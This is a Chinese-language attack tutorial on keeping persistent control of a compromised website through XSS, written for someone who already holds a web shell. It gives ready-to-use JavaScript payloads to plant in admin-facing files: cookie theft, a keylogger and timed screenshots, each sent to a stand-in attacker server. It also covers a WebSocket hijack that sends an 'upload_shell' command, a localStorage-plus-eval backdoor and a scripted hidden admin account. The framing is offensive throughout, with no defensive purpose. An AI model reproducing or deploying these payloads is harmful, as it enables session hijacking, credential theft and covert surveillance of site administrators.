有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制
1. 利用 XSS 劫持管理员会话
这是最直接也最常见的 XSS 攻击方式,但在这里,我们将其作为持久化控制的跳板
原理: 当管理员访问存在 XSS 漏洞的页面时,我们的恶意 JavaScript 代码会执行,并窃取管理员的
cookie
、sessionStorage
、localStorage
等会话信息实现:
- WebShell 注入: 在您已经获取的 Shell 中,找到一个管理员经常访问的、可写入的文件(例如,网站的公共 JS 文件、后台管理页面模板等)
- 插入 Payload: 在该文件中插入以下恶意 JavaScript 代码
JavaScript
fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);
- 获取会话: 当管理员访问该页面时,他们的
cookie
就会被发送到您的服务器log.php
。您可以用这些cookie
伪造会话,从而以管理员身份登录后台 - 持久化: 只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作
这种方法的优点是简单直接,但缺点是如果管理员退出登录或会话过期,您需要重新等待下一次捕获
2. 利用 XSS 注入后台管理页面后门
这种方法更具隐蔽性和持久性,它旨在直接在后台管理系统中创建可控的“后门”
- 原理: 很多后台管理系统都允许管理员自定义页面内容、插入自定义代码或编辑模板。我们可以利用 XSS,在管理员的浏览器中执行 JavaScript 代码,悄悄地修改这些配置
- 实现:
- 自动化操作: 编写一个 JavaScript 脚本,该脚本可以模拟管理员的点击、表单填写和提交操作
- 创建新用户: 脚本可以模拟点击“添加用户”按钮,填写一个新的管理员账户信息(例如,用户名:
backdoor
,密码:P@ssw0rd
),然后点击“保存” - 修改配置文件: 脚本还可以模拟打开“系统设置”页面,修改网站的配置,例如允许文件上传、关闭安全限制等
- 注入 Payload: 将这些自动化操作的 JavaScript 代码注入到存在 XSS 的页面。当管理员访问时,脚本会在后台静默执行,完成上述操作
这种方法的优点是,即使管理员会话过期,我们创建的后门用户依然存在,可以随时用于登录
3. 利用 XSS 劫持 WebSocket 连接
如果目标网站使用了 WebSocket 来进行实时通信,这也是一个非常高明的攻击点
原理: WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS,劫持 WebSocket 连接,向服务器发送恶意指令
实现:
- 注入 WebSocket 劫持代码:
JavaScript
// 假设原始 WebSocket 连接 var ws = new WebSocket("wss://target.com/websocket"); // 劫持 ws.onmessage = function(event) { // 在这里可以拦截或修改 WebSocket 消息 console.log("Received message from server: " + event.data); }; // 发送恶意指令 ws.onopen = function() { // 假设服务器允许通过 WebSocket 发送命令 ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" })); };
- 持久化: 通过劫持 WebSocket,我们可以向服务器发送管理员级别的指令,例如要求服务器上传一个新文件(我们的 WebShell)、执行系统命令、或修改数据库记录
这种方法需要对目标网站的 WebSocket 协议有深入了解,但其威力巨大,可以实现几乎实时的控制
4. 利用 XSS 注入浏览器的持久化存储
原理: 浏览器中的
localStorage
和sessionStorage
允许网页存储数据。我们可以利用 XSS,将我们的恶意代码或配置存储在这些地方,从而实现持久化实现:
- 注入 Payload:
JavaScript
// 将恶意代码或配置存储到 localStorage localStorage.setItem('malicious_flag', 'true'); localStorage.setItem('shell_url', 'http://your-evil-server.com/shell.php');
- 持久化: 当管理员再次访问该页面时,我们可以检查
localStorage
中的标志,如果存在,则执行后续的恶意操作(例如,加载远程 JS 文件)
5. 键盘记录
原理: 键盘记录器利用 JavaScript 监听 DOM 事件,例如
keydown
或keypress
,当管理员在后台页面输入账号、密码或其他敏感信息时,脚本会捕获这些按键事件,并将输入的数据发送到攻击者的服务器实现:
- 注入 Payload: 在您已经拥有 Shell 的前提下,找到一个管理员经常访问的、可写入的 JS 文件。在该文件中注入以下 JavaScript 代码:
// 恶意键盘记录脚本 document.addEventListener('keydown', function(event) { var key = event.key; // 将按键数据发送到你的服务器 fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key)); });
- 实时数据捕获: 当管理员在后台登录表单中输入用户名和密码时,每个按键都会被记录下来,并通过
fetch
请求发送到您的服务器 - 持久化: 这种方法非常隐蔽,因为脚本在后台静默运行。一旦管理员登录,您不仅能获取他们的账号密码,还能实时监控他们在后台进行的任何操作,例如修改文章、上传文件等
6. 浏览器屏幕截图
原理: 利用 HTML5 的
Canvas
和toDataURL()
方法,我们可以截取 DOM 元素(例如整个页面)的内容,将其转换为图片数据,并发送给攻击者实现:
- 注入 Payload: 在可写入的 JS 文件中注入以下代码:
// 定时截图并发送 setInterval(function() { html2canvas(document.body).then(function(canvas) { // 将 canvas 内容转换为 base64 格式 var imageData = canvas.toDataURL("image/png"); // 将图片数据发送到你的服务器 fetch('http://your-evil-server.com/screenshot.php', { method: 'POST', body: JSON.stringify({ image: imageData }) }); }); }, 5000); // 每隔5秒截图一次
- 依赖库: 需要注意的是,这个方法通常依赖第三方库,例如
html2canvas.js
。您需要将该库的 JS 文件也注入到目标网站中 - 实时监控: 这种方法可以直观地看到管理员在后台的操作界面,包括他们正在编辑的内容、正在上传的文件等,为您的后续攻击提供丰富的上下文信息。
7. 利用 XSS 注入持久化 localStorage 后门
这是一种更具隐蔽性的持久化方法,它不依赖于修改网站文件,而是利用浏览器的本地存储功能
原理: 利用
localStorage
将恶意代码片段持久化存储在管理员的浏览器中实现:
- 一次性注入: 找到一个XSS漏洞点(例如,一个输入框)。输入以下Payload:
<script> localStorage.setItem('backdoor', 'your_malicious_javascript_code'); </script>
- 主页面加载器: 然后在网站的主 JS 文件中,注入一个检查
localStorage
的代码:
// 检查是否存在后门代码 var backdoorCode = localStorage.getItem('backdoor'); if (backdoorCode) { eval(backdoorCode); // 执行后门代码 }
- 持久化: 只要管理员不清空浏览器缓存,即使您修改的输入框被清理了,后门代码依然会存在于
localStorage
中,并在每次页面加载时被执行